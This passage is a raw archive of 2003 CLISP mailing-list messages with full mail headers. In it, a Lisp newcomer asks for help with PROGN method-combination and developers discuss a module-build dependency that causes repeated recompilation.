Content-Disposition: inline Content-Type: text/plain; charset=iso-8859-1 Content-Language: en Content-Transfer-Encoding: quoted-printable X-Spam-Score: -2.6 (--) X-Spam-Report: -2.6/5.0 The original message has been attached along with this report, so you can recognize or block similar mail in future. See http://spamassassin.org/tag/ for more details. Content preview: David Morse writes: > amit phalgune wrote: > > Hi , > > There is an error I am facing. I > > have digged into the error and looks like CLISP does not support any > > other > > method-combination other than STANDARD. > > > > Now our code uses a defgeneric with the > > method-combination as "progn".( which looks like a customized > > method-combination for defgeneric. > > > > (defgeneric destroy (a) (:method-combination progn)) > > I am new to LISP and so I am not sure what exactly is defgeneric used > > for. Also CLISP supports only STANDARD method-combination. Is progn used > > above a customized method combination. How can I get a work around so that > > the above code works fine in CLISP. > > > > Thanks in advance, > > Amit > > The easiest thing, since you probably have full sources, is to go > through all (defmethod destroy progn ((... calls, take out the word > "progn", then put a (call-next-method) at the beginning (or is it the > end?) of each defmethod body. [...] Content analysis details: (-2.60 points, 5 required) IN_REP_TO (-0.5 points) Has a In-Reply-To header X_ACCEPT_LANG (-0.1 points) Has a X-Accept-Language header REFERENCES (-0.5 points) Has a valid-looking References header USER_AGENT_VM (0.0 points) X-Mailer header indicates a non-spam MUA (VM) EMAIL_ATTRIBUTION (-0.5 points) BODY: Contains what looks like an email attribution QUOTED_EMAIL_TEXT (-0.5 points) BODY: Contains what looks like a quoted email text REPLY_WITH_QUOTES (-0.5 points) Reply with quoted text Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Aug 28 20:24:14 2003 X-Original-Date: Fri, 29 Aug 2003 05:23:11 +0200 David Morse writes: > amit phalgune wrote: > > Hi , > > There is an error I am facing. I > > have digged into the error and looks like CLISP does not support any > > other > > method-combination other than STANDARD. > >=20 > > Now our code uses a defgeneric with the > > method-combination as "progn".( which looks like a customized > > method-combination for defgeneric. > >=20 > > (defgeneric destroy (a) (:method-combination progn)) > > I am new to LISP and so I am not sure what exactly is defgeneric used > > for. Also CLISP supports only STANDARD method-combination. Is progn u= sed > > above a customized method combination. How can I get a work around so= that > > the above code works fine in CLISP. > >=20 > > Thanks in advance, > > Amit >=20 > The easiest thing, since you probably have full sources, is to go > through all (defmethod destroy progn ((... calls, take out the word > "progn", then put a (call-next-method) at the beginning (or is it the > end?) of each defmethod body. Perhaps it would be even easier, since you have the full sources of clisp available, to implement the PROGN method-combination in clisp... (and then contribute it to the maintainers of clisp ;-) --=20 __Pascal_Bourguignon__ http://www.informatimago.com/ ---------------------------------------------------------------------- Do not adjust your mind, there is a fault in reality. From phalgune@jasper04.CS.ORST.EDU Fri Aug 29 09:19:16 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 19slxz-0006Du-00 for ; Fri, 29 Aug 2003 09:19:15 -0700 Received: from ghost.cs.orst.edu ([128.193.38.105]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.22) id 19slxz-00067H-As for clisp-list@lists.sourceforge.net; Fri, 29 Aug 2003 09:19:15 -0700 Received: from jasper04.CS.ORST.EDU (jasper04.CS.ORST.EDU [128.193.39.111]) by ghost.CS.ORST.EDU (8.12.9/8.12.9) with ESMTP id h7TGJ7aD016564; Fri, 29 Aug 2003 09:19:07 -0700 (PDT) Received: from localhost (phalgune@localhost) by jasper04.CS.ORST.EDU (8.12.4/8.12.4/Submit) with ESMTP id h7TGJ6AN020722; Fri, 29 Aug 2003 09:19:06 -0700 (PDT) From: amit phalgune To: David Morse cc: clisp Subject: Re: [clisp-list] defgenric In-Reply-To: <3F4EC104.6090303@yahoo.com> Message-ID: References: <200308271941.h7RJfAVC008312@van-halen.alma.com> <3F4EC104.6090303@yahoo.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Spam-Score: -2.5 (--) X-Spam-Report: -2.5/5.0 The original message has been attached along with this report, so you can recognize or block similar mail in future. See http://spamassassin.org/tag/ for more details. Content preview: Hi, I replaced "progn" with (call-next-method) (defgeneric destroy (a :method-combination (call-next-method))) [...] Content analysis details: (-2.50 points, 5 required) IN_REP_TO (-0.5 points) Has a In-Reply-To header USER_AGENT_PINE (0.0 points) Message-Id indicates a non-spam MUA (Pine) REFERENCES (-0.5 points) Has a valid-looking References header EMAIL_ATTRIBUTION (-0.5 points) BODY: Contains what looks like an email attribution QUOTED_EMAIL_TEXT (-0.5 points) BODY: Contains what looks like a quoted email text REPLY_WITH_QUOTES (-0.5 points) Reply with quoted text Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Aug 29 09:20:03 2003 X-Original-Date: Fri, 29 Aug 2003 09:19:06 -0700 (PDT) Hi, I replaced "progn" with (call-next-method) (defgeneric destroy (a :method-combination (call-next-method))) But I get the following error : *** - DEFGENERIC DESTROY: variable name (CALL-NEXT-METHOD) should be a symbol 1. Break [3]> Please help !! Amit On Thu, 28 Aug 2003, David Morse wrote: > amit phalgune wrote: > > Hi , > > There is an error I am facing. I > > have digged into the error and looks like CLISP does not support any > > other > > method-combination other than STANDARD. > > > > Now our code uses a defgeneric with the > > method-combination as "progn".( which looks like a customized > > method-combination for defgeneric. > > > > (defgeneric destroy (a) (:method-combination progn)) > > I am new to LISP and so I am not sure what exactly is defgeneric used > > for. Also CLISP supports only STANDARD method-combination. Is progn used > > above a customized method combination. How can I get a work around so that > > the above code works fine in CLISP. > > > > Thanks in advance, > > Amit > > The easiest thing, since you probably have full sources, is to go > through all (defmethod destroy progn ((... calls, take out the word > "progn", then put a (call-next-method) at the beginning (or is it the > end?) of each defmethod body. > > --David))) > > > > > ------------------------------------------------------- > This sf.net email is sponsored by:ThinkGeek > Welcome to geek heaven. > http://thinkgeek.com/sf > _______________________________________________ > clisp-list mailing list > clisp-list@lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/clisp-list > From phalgune@jasper04.CS.ORST.EDU Fri Aug 29 09:19:55 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 19slyc-0006Qz-00 for ; Fri, 29 Aug 2003 09:19:55 -0700 Received: from ghost.cs.orst.edu ([128.193.38.105]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.22) id 19slyc-0006RW-E6 for clisp-list@lists.sourceforge.net; Fri, 29 Aug 2003 09:19:54 -0700 Received: from jasper04.CS.ORST.EDU (jasper04.CS.ORST.EDU [128.193.39.111]) by ghost.CS.ORST.EDU (8.12.9/8.12.9) with ESMTP id h7TGJqaD016615; Fri, 29 Aug 2003 09:19:52 -0700 (PDT) Received: from localhost (phalgune@localhost) by jasper04.CS.ORST.EDU (8.12.4/8.12.4/Submit) with ESMTP id h7TGJp2K020726; Fri, 29 Aug 2003 09:19:51 -0700 (PDT) From: amit phalgune To: David Morse cc: clisp Subject: Re: [clisp-list] defgenric In-Reply-To: <3F4EC104.6090303@yahoo.com> Message-ID: References: <200308271941.h7RJfAVC008312@van-halen.alma.com> <3F4EC104.6090303@yahoo.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Spam-Score: -2.5 (--) X-Spam-Report: -2.5/5.0 The original message has been attached along with this report, so you can recognize or block similar mail in future. See http://spamassassin.org/tag/ for more details. Content preview: Hi David, Thanks for the reply. Do you mean that I change the progn to call-next-method. There is just one defmethod with progn in the source I have. But I still have a doubt. I have basically not understood what the defgeneric code is doing. It all seems to be related to classes and instances and the methods associated with it.. But I am extremely unclear and confused abt it. I tried to look on the net for the related documents.. but since I am not aware of OO lisp, or for that matter even normal LISP ( i have just begun coding in LISP).. I am not able to understand what that code is supposed to do and why and what happens if we replace progn with (call-next-method) [...] Content analysis details: (-2.50 points, 5 required) IN_REP_TO (-0.5 points) Has a In-Reply-To header USER_AGENT_PINE (0.0 points) Message-Id indicates a non-spam MUA (Pine) REFERENCES (-0.5 points) Has a valid-looking References header EMAIL_ATTRIBUTION (-0.5 points) BODY: Contains what looks like an email attribution QUOTED_EMAIL_TEXT (-0.5 points) BODY: Contains what looks like a quoted email text REPLY_WITH_QUOTES (-0.5 points) Reply with quoted text Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Aug 29 09:20:08 2003 X-Original-Date: Fri, 29 Aug 2003 09:19:51 -0700 (PDT) Hi David, Thanks for the reply. Do you mean that I change the progn to call-next-method. There is just one defmethod with progn in the source I have. But I still have a doubt. I have basically not understood what the defgeneric code is doing. It all seems to be related to classes and instances and the methods associated with it.. But I am extremely unclear and confused abt it. I tried to look on the net for the related documents.. but since I am not aware of OO lisp, or for that matter even normal LISP ( i have just begun coding in LISP).. I am not able to understand what that code is supposed to do and why and what happens if we replace progn with (call-next-method) I will be extremely grateful if you can kindly explain it to me... Thanking you, Amit On Thu, 28 Aug 2003, David Morse wrote: > amit phalgune wrote: > > Hi , > > There is an error I am facing. I > > have digged into the error and looks like CLISP does not support any > > other > > method-combination other than STANDARD. > > > > Now our code uses a defgeneric with the > > method-combination as "progn".( which looks like a customized > > method-combination for defgeneric. > > > > (defgeneric destroy (a) (:method-combination progn)) > > I am new to LISP and so I am not sure what exactly is defgeneric used > > for. Also CLISP supports only STANDARD method-combination. Is progn used > > above a customized method combination. How can I get a work around so that > > the above code works fine in CLISP. > > > > Thanks in advance, > > Amit > > The easiest thing, since you probably have full sources, is to go > through all (defmethod destroy progn ((... calls, take out the word > "progn", then put a (call-next-method) at the beginning (or is it the > end?) of each defmethod body. > > --David))) > > > > > ------------------------------------------------------- > This sf.net email is sponsored by:ThinkGeek > Welcome to geek heaven. > http://thinkgeek.com/sf > _______________________________________________ > clisp-list mailing list > clisp-list@lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/clisp-list > From lisp-clisp-list@m.gmane.org Fri Aug 29 11:12:49 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 19snjr-0004GI-00 for ; Fri, 29 Aug 2003 11:12:47 -0700 Received: from main.gmane.org ([80.91.224.249]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.22) id 19snjr-0008Pq-18 for clisp-list@lists.sourceforge.net; Fri, 29 Aug 2003 11:12:47 -0700 Received: from list by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 19snkV-0005V3-00 for ; Fri, 29 Aug 2003 20:13:27 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net Received: from sea.gmane.org ([80.91.224.252]) by main.gmane.org with esmtp (Exim 3.35 #1 (Debian)) id 19snkU-0005Ut-00 for ; Fri, 29 Aug 2003 20:13:26 +0200 Received: from news by sea.gmane.org with local (Exim 3.35 #1 (Debian)) id 19snjn-0001Ps-00 for ; Fri, 29 Aug 2003 20:12:43 +0200 From: Sam Steingold Organization: disorganization Lines: 18 Message-ID: Reply-To: sds@gnu.org Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Complaints-To: usenet@sea.gmane.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 X-Spam-Score: -0.5 (/) X-Spam-Report: -0.5/5.0 The original message has been attached along with this report, so you can recognize or block similar mail in future. See http://spamassassin.org/tag/ for more details. Content preview: 1. all modules should use clisp.h, not lispbibl.c all modules bundled with CLISP now use clisp.h, including new-clx. if there is something in lispbibl.c but not clisp.h (or maybe not even in lispbibl, but a static in a C file!) which you are sure you do indeed must use, we can export it for you. [...] Content analysis details: (-0.50 points, 5 required) USER_AGENT_GNUS_UA (-0.5 points) User-Agent header indicates a non-spam MUA (Gnus) Subject: [clisp-list] modules update Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Aug 29 11:13:13 2003 X-Original-Date: 29 Aug 2003 14:12:42 -0400 1. all modules should use clisp.h, not lispbibl.c all modules bundled with CLISP now use clisp.h, including new-clx. if there is something in lispbibl.c but not clisp.h (or maybe not even in lispbibl, but a static in a C file!) which you are sure you do indeed must use, we can export it for you. 2. all modules should use the standard utils/modprep.lisp for preprocessing. no ansidecl, no e2d, no comment5 &c &c &c. all modules bundled with CLISP now use utils/modprep.lisp. new-clx/e2d.c has been removed, and its features incorporated into utils/modprep.lisp. -- Sam Steingold (http://www.podval.org/~sds) running w2k Lisp: Serious empowerment. From hin@van-halen.alma.com Fri Aug 29 11:40:58 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 19soB8-0000KM-00 for ; Fri, 29 Aug 2003 11:40:58 -0700 Received: from coopers.dsl.net ([65.84.81.5]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.22) id 19soB6-0002Ci-J3 for clisp-list@lists.sourceforge.net; Fri, 29 Aug 2003 11:40:56 -0700 Received: from van-halen.alma.com (van-halen.alma.com [64.205.243.34]) by coopers.dsl.net (Postfix) with ESMTP id 1E56210DE57; Fri, 29 Aug 2003 14:40:54 -0400 (EDT) Received: from van-halen.alma.com (localhost [127.0.0.1]) by van-halen.alma.com (8.12.9/8.12.9) with ESMTP id h7TIer7G017263; Fri, 29 Aug 2003 14:40:53 -0400 Received: (from hin@localhost) by van-halen.alma.com (8.12.9/8.12.9/Submit) id h7TIeraZ017260; Fri, 29 Aug 2003 14:40:53 -0400 Message-Id: <200308291840.h7TIeraZ017260@van-halen.alma.com> From: "John K. Hinsdale" To: sds@gnu.org Cc: clisp-list@lists.sourceforge.net In-reply-to: (message from Sam Steingold on 29 Aug 2003 14:12:42 -0400) Subject: Re: [clisp-list] modules update X-Spam-Score: -0.5 (/) X-Spam-Report: -0.5/5.0 The original message has been attached along with this report, so you can recognize or block similar mail in future. See http://spamassassin.org/tag/ for more details. Content preview: Not sure if it's a big deal or if it intended, but when I rebuild CLISP my doing "make" in my build directory, it always recompiles modules.c and always relinks lisp.run. If it should not do that then a dependency may need to be added. [...] Content analysis details: (-0.50 points, 5 required) IN_REP_TO (-0.5 points) Has a In-Reply-To header Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Aug 29 11:41:08 2003 X-Original-Date: Fri, 29 Aug 2003 14:40:53 -0400 Not sure if it's a big deal or if it intended, but when I rebuild CLISP my doing "make" in my build directory, it always recompiles modules.c and always relinks lisp.run. If it should not do that then a dependency may need to be added. From sds@gnu.org Fri Aug 29 11:47:59 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 19soHv-0002AH-00 for ; Fri, 29 Aug 2003 11:47:59 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.22) id 19soHu-0004X7-FE for clisp-list@lists.sourceforge.net; Fri, 29 Aug 2003 11:47:58 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap-dock.alphatech.com [10.0.19.22]) by alphatech.com (8.11.6/8.11.6/check_local-4.4) with ESMTP id h7TIlIK14447; Fri, 29 Aug 2003 14:47:19 -0400 (EDT) X-Spam-Filter: check_local@alphatech.com 4.4(020923:1754) http://digitalanswers.org/ To: "John K. Hinsdale" Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] modules update References: <200308291840.h7TIeraZ017260@van-halen.alma.com> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <200308291840.h7TIeraZ017260@van-halen.alma.com> Message-ID: Lines: 21 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: -2.5 (--) X-Spam-Report: -2.5/5.0 The original message has been attached along with this report, so you can recognize or block similar mail in future. See http://spamassassin.org/tag/ for more details. Content preview: > * In message <200308291840.h7TIeraZ017260@van-halen.alma.com> > * On the subject of "Re: [clisp-list] modules update" > * Sent on Fri, 29 Aug 2003 14:40:53 -0400 > * Honorable "John K. Hinsdale" writes: > > Not sure if it's a big deal or if it intended, but when I rebuild > CLISP my doing "make" in my build directory, it always recompiles > modules.c and always relinks lisp.run. If it should not do that then > a dependency may need to be added. [...] Content analysis details: (-2.50 points, 5 required) IN_REP_TO (-0.5 points) Has a In-Reply-To header REFERENCES (-0.5 points) Has a valid-looking References header USER_AGENT_GNUS_UA (-0.5 points) User-Agent header indicates a non-spam MUA (Gnus) QUOTED_EMAIL_TEXT (-0.5 points) BODY: Contains what looks like a quoted email text REPLY_WITH_QUOTES (-0.5 points) Reply with quoted text Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Aug 29 11:48:11 2003 X-Original-Date: 29 Aug 2003 14:47:18 -0400 > * In message <200308291840.h7TIeraZ017260@van-halen.alma.com> > * On the subject of "Re: [clisp-list] modules update" > * Sent on Fri, 29 Aug 2003 14:40:53 -0400 > * Honorable "John K. Hinsdale" writes: > > Not sure if it's a big deal or if it intended, but when I rebuild > CLISP my doing "make" in my build directory, it always recompiles > modules.c and always relinks lisp.run. If it should not do that then > a dependency may need to be added. lisp.run depends on modules.o which depends on clisp.h which depends on genclisph.d, so when you change genclisph.d you have to rebuild lisp.run. are you saying that you do "make" and rebuild everything and then "make" again and _again_ you rebuild everything?! -- Sam Steingold (http://www.podval.org/~sds) running w2k A man paints with his brains and not with his hands. From hin@van-halen.alma.com Fri Aug 29 11:50:18 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 19soKA-0002Np-00 for ; Fri, 29 Aug 2003 11:50:18 -0700 Received: from coopers.dsl.net ([65.84.81.5]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.22) id 19soK9-0005f5-Jl for clisp-list@lists.sourceforge.net; Fri, 29 Aug 2003 11:50:17 -0700 Received: from van-halen.alma.com (van-halen.alma.com [64.205.243.34]) by coopers.dsl.net (Postfix) with ESMTP id 1706910DEC2; Fri, 29 Aug 2003 14:50:17 -0400 (EDT) Received: from van-halen.alma.com (localhost [127.0.0.1]) by van-halen.alma.com (8.12.9/8.12.9) with ESMTP id h7TIoH7G018651; Fri, 29 Aug 2003 14:50:17 -0400 Received: (from hin@localhost) by van-halen.alma.com (8.12.9/8.12.9/Submit) id h7TIoH00018648; Fri, 29 Aug 2003 14:50:17 -0400 Message-Id: <200308291850.h7TIoH00018648@van-halen.alma.com> From: "John K. Hinsdale" To: sds@gnu.org Cc: clisp-list@lists.sourceforge.net In-reply-to: (message from Sam Steingold on 29 Aug 2003 14:47:18 -0400) Subject: Re: [clisp-list] modules update X-Spam-Score: -0.5 (/) X-Spam-Report: -0.5/5.0 The original message has been attached along with this report, so you can recognize or block similar mail in future. See http://spamassassin.org/tag/ for more details. Content preview: > are you saying that you do "make" and rebuild everything and then > "make" again and _again_ you rebuild everything?! No, just modules.o and lisp.run. I.e., when I do [...] Content analysis details: (-0.50 points, 5 required) IN_REP_TO (-0.5 points) Has a In-Reply-To header Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Aug 29 11:51:07 2003 X-Original-Date: Fri, 29 Aug 2003 14:50:17 -0400 > are you saying that you do "make" and rebuild everything and then > "make" again and _again_ you rebuild everything?! No, just modules.o and lisp.run. I.e., when I do ./configure .... --build=mydir then later when I cd to "mydir" and do repeated makes, without making any changes, it recompiles modules.c and relinks lisp.run From sds@gnu.org Fri Aug 29 13:01:07 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 19spQh-00075M-00 for ; Fri, 29 Aug 2003 13:01:07 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.22) id 19spQg-000342-DG for clisp-list@lists.sourceforge.net; Fri, 29 Aug 2003 13:01:06 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap-dock.alphatech.com [10.0.19.22]) by alphatech.com (8.11.6/8.11.6/check_local-4.4) with ESMTP id h7TK0TK29559; Fri, 29 Aug 2003 16:00:30 -0400 (EDT) X-Spam-Filter: check_local@alphatech.com 4.4(020923:1754) http://digitalanswers.org/ To: "John K. Hinsdale" Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] modules update References: <200308291850.h7TIoH00018648@van-halen.alma.com> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <200308291850.h7TIoH00018648@van-halen.alma.com> Message-ID: Lines: 31 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: -2.5 (--) X-Spam-Report: -2.5/5.0 The original message has been attached along with this report, so you can recognize or block similar mail in future. See http://spamassassin.org/tag/ for more details. Content preview: > * In message <200308291850.h7TIoH00018648@van-halen.alma.com> > * On the subject of "Re: [clisp-list] modules update" > * Sent on Fri, 29 Aug 2003 14:50:17 -0400 > * Honorable "John K. Hinsdale" writes: > > > are you saying that you do "make" and rebuild everything and then > > "make" again and _again_ you rebuild everything?! > > No, just modules.o and lisp.run. > > I.e., when I do > > ./configure .... --build=mydir > > then later when I cd to "mydir" and do repeated makes, without making > any changes, it recompiles modules.c and relinks lisp.run [...] Content analysis details: (-2.50 points, 5 required) IN_REP_TO (-0.5 points) Has a In-Reply-To header REFERENCES (-0.5 points) Has a valid-looking References header USER_AGENT_GNUS_UA (-0.5 points) User-Agent header indicates a non-spam MUA (Gnus) QUOTED_EMAIL_TEXT (-0.5 points) BODY: Contains what looks like a quoted email text REPLY_WITH_QUOTES (-0.5 points) Reply with quoted text Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Aug 29 13:02:02 2003 X-Original-Date: 29 Aug 2003 16:00:24 -0400 > * In message <200308291850.h7TIoH00018648@van-halen.alma.com> > * On the subject of "Re: [clisp-list] modules update" > * Sent on Fri, 29 Aug 2003 14:50:17 -0400 > * Honorable "John K. Hinsdale" writes: > > > are you saying that you do "make" and rebuild everything and then > > "make" again and _again_ you rebuild everything?! > > No, just modules.o and lisp.run. > > I.e., when I do > > ./configure .... --build=mydir > > then later when I cd to "mydir" and do repeated makes, without making > any changes, it recompiles modules.c and relinks lisp.run this is weird. does it then proceed to recompile all *.lisp and re-dump lispinit.mem? if not, this is a bug in make. if yes, could you please investigate this? this does not happen to me, so I cannot debug it. you need to figure out which make rules are triggered and why. "make -d" will print more than you will ever want to see, but you can grep through it... -- Sam Steingold (http://www.podval.org/~sds) running w2k An elephant is a mouse with an operating system. From hin@van-halen.alma.com Fri Aug 29 13:04:50 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 19spUI-0007xC-00 for ; Fri, 29 Aug 2003 13:04:50 -0700 Received: from swangold.dsl.net ([65.84.81.10]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.22) id 19spUF-0004V1-4G for clisp-list@lists.sourceforge.net; Fri, 29 Aug 2003 13:04:47 -0700 Received: from van-halen.alma.com (van-halen.alma.com [64.205.243.34]) by swangold.dsl.net (Postfix) with ESMTP id CB6F42FBBB; Fri, 29 Aug 2003 16:04:43 -0400 (EDT) Received: from van-halen.alma.com (localhost [127.0.0.1]) by van-halen.alma.com (8.12.9/8.12.9) with ESMTP id h7TK4h7G023822; Fri, 29 Aug 2003 16:04:43 -0400 Received: (from hin@localhost) by van-halen.alma.com (8.12.9/8.12.9/Submit) id h7TK4h8q023819; Fri, 29 Aug 2003 16:04:43 -0400 Message-Id: <200308292004.h7TK4h8q023819@van-halen.alma.com> From: "John K. Hinsdale" To: sds@gnu.org Cc: clisp-list@lists.sourceforge.net In-reply-to: (message from Sam Steingold on 29 Aug 2003 16:00:24 -0400) Subject: Re: [clisp-list] modules update X-Spam-Score: -0.5 (/) X-Spam-Report: -0.5/5.0 The original message has been attached along with this report, so you can recognize or block similar mail in future. See http://spamassassin.org/tag/ for more details. Content preview: > does it then proceed to recompile all *.lisp and re-dump lispinit.mem? No, but I'll try "make -d" and see what's happening anyway [...] Content analysis details: (-0.50 points, 5 required) IN_REP_TO (-0.5 points) Has a In-Reply-To header Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Aug 29 13:05:09 2003 X-Original-Date: Fri, 29 Aug 2003 16:04:43 -0400 > does it then proceed to recompile all *.lisp and re-dump lispinit.mem? No, but I'll try "make -d" and see what's happening anyway From sds@gnu.org Fri Aug 29 13:23:57 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 19spmn-0003wz-00 for ; Fri, 29 Aug 2003 13:23:57 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.22) id 19spmm-0003BL-Lb for clisp-list@lists.sourceforge.net; Fri, 29 Aug 2003 13:23:56 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap-dock.alphatech.com [10.0.19.22]) by alphatech.com (8.11.6/8.11.6/check_local-4.4) with ESMTP id h7TKNMK04043; Fri, 29 Aug 2003 16:23:23 -0400 (EDT) X-Spam-Filter: check_local@alphatech.com 4.4(020923:1754) http://digitalanswers.org/ To: "John K. Hinsdale" Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] modules update References: <200308292004.h7TK4h8q023819@van-halen.alma.com> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <200308292004.h7TK4h8q023819@van-halen.alma.com> Message-ID: Lines: 18 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: -2.5 (--) X-Spam-Report: -2.5/5.0 The original message has been attached along with this report, so you can recognize or block similar mail in future. See http://spamassassin.org/tag/ for more details. Content preview: > * In message <200308292004.h7TK4h8q023819@van-halen.alma.com> > * On the subject of "Re: [clisp-list] modules update" > * Sent on Fri, 29 Aug 2003 16:04:43 -0400 > * Honorable "John K. Hinsdale" writes: > > > does 